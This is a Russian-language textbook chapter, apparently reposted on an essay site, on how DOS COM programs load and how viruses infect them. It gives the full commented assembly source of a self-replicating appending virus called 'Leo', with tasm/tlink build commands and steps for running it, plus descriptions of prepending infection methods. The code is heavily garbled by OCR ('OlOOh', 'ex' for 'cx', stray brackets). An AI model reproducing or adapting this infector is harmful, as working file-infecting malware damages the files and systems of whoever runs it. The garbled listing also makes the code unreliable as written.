СОМ-вирусы

СОМ-ВИРУСЫ


В этой главе рассказано об ал- горитмах работы вирусов, заражающих СОМ-файлы, и способах их внедрения. Пред- ставлен исходный текст од- ного из таких вирусов с под- робными комментариями. Также приведены основные све- дения о структуре и принци- пах работы СОМ-программы.


10 СОМ-вирусы


Компьютерные вирусы могут "гнездиться" в самых неожиданных мес- тах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических биб- лиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение виру- са, поражающего СОМ-файлы.


Структура и процесс загрузки СОМ-программы


Что же представляет собой СОМ-программа, как она загружается в память и запускается?


Структура СОМ-программы предельно проста - она содержит только код и данные программы, не имея даже заголовка. Размер СОМ-про- граммы ограничен размером одного сегмента (64Кбайт).


И еще два понятия, которые часто будут встречаться:


Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) байт, предшествующая программе при ее загрузке. PSP содержит дан- ные командной строки и относящиеся к программе переменные.


Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встре- чаться в листингах программ.


Загрузка СОМ-программы в память и ее запуск происходят так:


1. Определяется сегментный адрес свободного участка памяти доста- точного для размещения программы размера.


2. Создается и заполняется блок памяти для переменных среды.


3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;


сегментЮЮОЬ - программа). В поля PSP заносятся соответствую- щие значения.


4. Устанавливается адрес DTA равным PSP:0080h.


5. Загружается СОМ-файл с адреса PSP:0100h.


6. Значение регистра АХ устанавливается в соответствии с парамет- рами командной строки.


7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм- мы (PSP.-OOOOh).


8. Регистр SP устанавливается на конец сегмента, после чего в стек за- писывается OOOOh.


9. Происходит запуск программы с адреса PSP:0100h.


СОМ-программа всегда состоит из одного сегмента и запускается со смещения OlOOh.


Простейший СОМ-вирус


В начале СОМ-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды OE9h, следующие два - адрес перехода. Поскольку рассматриваемый ниже ви- рус учебный, он будет заражать только СОМ-файлы, начинающиеся с команды JMP. Благодаря простому строению СОМ-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.


После загрузки зараженного файла управление получает вирус. Закон- чив работу, вирус восстанавливает оригинальный JMP и передает уп- равление программе, как показано на рис. 1.2.


Что же делает рассматриваемый вирус? После старта он ищет в теку- щем каталоге СОМ-программы. Для этого используется функция 4Eh (найти первый файл):



Тело вируса записывается в конец файла, туда же переносится оригинальный JMP, на место которого записывается инструкция JMP на тело вируса.


Рис. 1.1.


;Ищем первый файл по шаблону имени mov ah,4Eh


mov dx,offset fname - offset myself add dx.bp mov cx,00100111b int 21h


Затем вирус проверяет (по первому байту файла), подходят ли ему най- денные СОМ-программы:


[Открываем файл Open:


mov ax,3D02h


mov dx,9Eh


int 21h


;Если при открытии файла ошибок не произошло, ;переходим к чтению, иначе выходим из вируса


jnc See_Him


jmp exit


; Читаем первый байт файла See_Him:


xchg bx,ax


mov ah,3Fh


mov dx,offset buf-offset myself


add dx.bp


xor ex,ex ;CX=0



inc ex [(увеличение на 1) СХ=1 int 21h


Сравниваем. Если первый байт файла


;не E9h, то переходим к поиску следующего


.файла - этот для заражения не подходит


cmp byte ptr [bp+(offset buf-offset myself )],OE9h


jne find_next


Перед заражением файла вирус проверяет сигнатуру - не исключено, что файл уже заражен:


Переходим в конец файла (на последний байт) mov ax,4200h xor ex,ex


mov dx,[bp+(offset flen-offset MySelf)] dec dx int 21h


;Читаем сигнатуру вируса Read:


mov ah,3Fh


xor ex,ex


inc ex


mov dx.offset bytik-offset myself


add dx.bp


int 21h


.Если при чтении файла ошибок не произошло,


[Проверяем сигнатуру,


;иначе ищем следующий файл


jnc test_bytik


jmp find_next


[Проверяем сигнатуру Test_bytik:


cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte


;Если сигнатура есть, то ищем другой файл, .если ее нет - будем заражать


je find_next2


jmp NotJnfected


Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:


[Переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21h


Останавливаем регистр DS на сегмент кода push cs pop ds


[Копируем вирус в файл mov ah,40h


mov cx.offset VirEnd-offset la mov dx,bp


sub dx,offset myself-offset la int 21h


[Записываем в начало файла переход на тело вируса Write_Jmp:


.Переходим в начало файла xor сх.сх xor dx,dx mov ax,4200h int 21h


[Записываем первые три байта файла (переход на тело вируса) mov ah,40h mov сх,3


mov dx, offset jmpvir-offset myself add dx.bp int 21h


После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компью- тера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем - исходная программа. Благодаря такой схеме работы рассматриваемый


вирус может спокойно существовать, будучи один раз выпущенным на волю.


Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компи- лируется и компонуется готовая программа. Например, в системе про- граммирования Turbo Assembler последние два этапа выполняются та- кими командами:


tasm.exe leo.asm tlink leo.obj/t


В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус. Для проверки работы вируса можно создать отдельный каталог и ско- пировать в него этот файл, а также несколько других СОМ-файлов. После запуска LEO.COM вирус внедрится во все остальные СОМ-фай- лы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус распространяется только в текущем каталоге. Ниже приводится исход- ный текст вируса:


.286 .Устанавливаем тип процессора CheckByte equ OFOh


[Указываем, что регистры CS и DS содержат ;адрес сегмента кода программы assume cs:code, ds:code


;Начало сегмента кода. В конце программы сегмент кода нужно ;закрыть - "code ends" code segment


Останавливаем смещения в сегменте кода.


Данная строчка обязательна


;для СОМ-программы (все СОМ-программы


начинаются с адреса 100h)


org 100h


start:


;Имитируем зараженный СОМ-файл. ;Тело вируса начинается с метки la ; jmp la


db OE9h ;Код команды JMP


dw offset la-offset real real:


[Выходим из программы mov ah,4Ch int 21 h


;3десь начинается тело в

ируса la:


;Сохраняем регистры и флаги pushf pusha push ds es


.Получаем точку входа.


;Для этого вызываем подпрограмму (следующий


;за вызовом адрес) и читаем из стека адрес возврата


call MySelf MySelf:


pop bp


восстанавливаем первые три байта исходной программы mov al,[bp+(offset bytes_3[0]-offset MySelf)] mov byte ptr cs:[100h],al mov al,[bp+(offset bytes_3[1]-offset MySelf)] mov byte ptr cs:[101h],al mov al,[bp+(offset bytes_3[2]-offset MySelf)] mov byte ptr cs:[102h],al


[Дальнейшая задача вируса - найти новую жертву.


;Для этого используется функция 4Eh (Найти первый файл).


;Ищем файл с любыми атрибутами


Find_First:


.Ищем первый файл по шаблону имени mov ah,4Eh


mov dx.offset fname-offset myself add dx.bp


mov cx,00100111b int 21 h


;Если файл найден - переходим к смене атрибутов, иначе выходим ;из вируса (здесь нет подходящих для заражения файлов)


jnc attributes


jmp exit attributes:


.Читаем оригинальные атрибуты файла mov ax,4300h


mov dx,9Eh .Адрес имени файла int 21 h


.Сохраняем оригинальные атрибуты файла push ex


•.Устанавливаем новые атрибуты файла mov ax,4301h


mov dx,9Eh .Адрес имени файла mov cx,20h int 21 h


Переходим к открытию файла jmp Open


;Ищем следующий файл, так как предыдущий не подходит FincLNext:


;Восстанавливаем оригинальные атрибуты файла mov ax,4301h


mov dx,9Eh ;Адрес имени файла pop сх int 21 h


[Закрываем файл mov ah,3Eh int 21 h


;Ищем следующий файл mov ah,4Fh int 21 h


;Если файл найден - переходим к смене атрибутов, иначе выходим ;из вируса (здесь нет подходящих для заражения файлов)


jnc attributes


jmp exit


.-Открываем файл Open:


mov ax,3D02h


mov dx,9Eh


int 21 h


;Если при открытии файла ошибок не произошло - .переходим к чтению, иначе выходим из вируса


jnc See_Him


jmp exit


;Читаем первый байт файла See_Him:


xchg bx.ax


mov ah,3Fh


mov dx.offset buf-offset myself


add dx,bp


xor ex,ex ;CX=0


inc ex [(увеличение на 1) СХ=1


int 21 h


.Сравниваем. Если первый байт файла


;не E9h, то переходим к поиску следующего файла -


;этот для заражения не подходит


cmp byte ptr [bp+(offset buf-offset myself )],OE9h


jne find_next


; Переходим в начало файла mov ax,4200h xor ex,ex xor dx.dx int 21 h


[Читаем первые три байта файла в тело вируса See_Him2:


mov ah,3Fh


mov dx,offset bytes_3-offset myself


add dx.bp


mov cx,3


int 21 h


.Получаем длину файла, для чего переходим в конец файла Testik:


mov ax,4202h


xor ex,ex


xor dx.dx


int 21h Size_test:


;Сохраняем полученную длину файла


mov [bp+(offset flen-offset MySelf)],ax


[Проверяем длину файла cmp ax.64000


;Если файл не больше 64000 байт,- переходим


;к следующей проверке,


;иначе ищем другой файл (этот слишком велик для заражения)


jna richJest


jmp find_next


Проверим, не заражен ли файл. ;Для этого проверим сигнатуру вируса RichJest:


[Переходим в конец файла (на последний байт) mov ax,4200h xor сх.сх


mov dx,[bp+(offset flen-offset MySelf)] dec dx int 21h


;Читаем сигнатуру вируса Read:


mov ah,3Fh


xor ex,ex


inc ex


mov dx,offset bytik-offset myself


add dx.bp int 21 h


;Если при чтении файла ошибок


;не произошло - проверяем сигнатуру,


.иначе ищем следующий файл


jnc test_bytik


jmp tind_next


;Проверяем сигнатуру Test_bytik:


cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte


;Если сигнатура есть, то ищем другой файл, .если нет - будем заражать


jne NotJnfected


jmp find_next


.Файл не заражен - будем заражать NotJnfected:


mov ax,[bp+(offset flen-offset myself)]


sub ax,03h


mov [bp+(offset jmp_cmd-offset myself)],ax l_am_copy:


.Переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21 h


[Устанавливаем регистр DS на сегмент кода push cs pop ds


.Копируем вирус в файл mov ah,40h


mov ex,offset VirEnd-offset la mov dx.bp


sub dx,offset myself-offset la int 21 h


Записываем в начало файла переход на тело вируса Write_Jmp:


.Переходим в начало файла хог сх.сх xor dx,dx mov ax,4200h int 21 h


[Записываем первые три байта файла (переход на тело вируса) mov ah,40h mov сх,3


mov dx.offset jmpvir-offset myself add dx.bp int 21h


;3акрываем файл Close:


mov ah,3Eh


int 21h


;Восстанавливаем оригинальные атрибуты файла


mov ax,4301h


mov dx,9Eh


pop ex


int 21h exit:


восстанавливаем первоначальные значения регистров и флагов pop es ds рора popf


Передаем управление программе-носителю push 100h retn


-.Байт для чтения сигнатуры bytik db (?)


.Зарезервировано для изменения трех байт вируса jmpvir db OE9h jmp_cmd dw (?)


;Длина файла flen dw (?)


;Шаблон для поиска файлов fname db "*.com",0


;0бласть для хранения команды перехода bytes_3 db 90h, 90h, 90h


;Байт памяти для чтения первого байта файла ;с целью проверки (Е9п) buf db (?)


;Название вируса virus_name db "Leo"


;Сигнатура


a db CheckByte


VirEnd:


code ends


end start


Способы внедрения СОМ-вирусов


Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.


Рассмотрим два варианта внедрения СОМ-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывает- ся в начало файла, а небольшая его часть, обеспечивающая перенос вы- тесненного фрагмента программы, на прежнее место - в конец. При вос- становлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.



Рис. 1.3.


При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса OlOOh). После окончания работы вирус передает управление коду, пере- носящему вытесненную часть программы на прежнее место. После вос- становления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.


Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в ко- нец файла. Этот способ внедрения изображен на рис. 1.5.


После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид



программы, переносит к адресу OlOOh все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.


Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгорит- мов одного из двух только что описанных вирусов и вируса, описанно- го в разделе "Простейший СОМ-вирус".


Сохранить в соц. сетях:
Обсуждение:
comments powered by Disqus

Название реферата: СОМ-вирусы

Слов:2273
Символов:17267
Размер:33.72 Кб.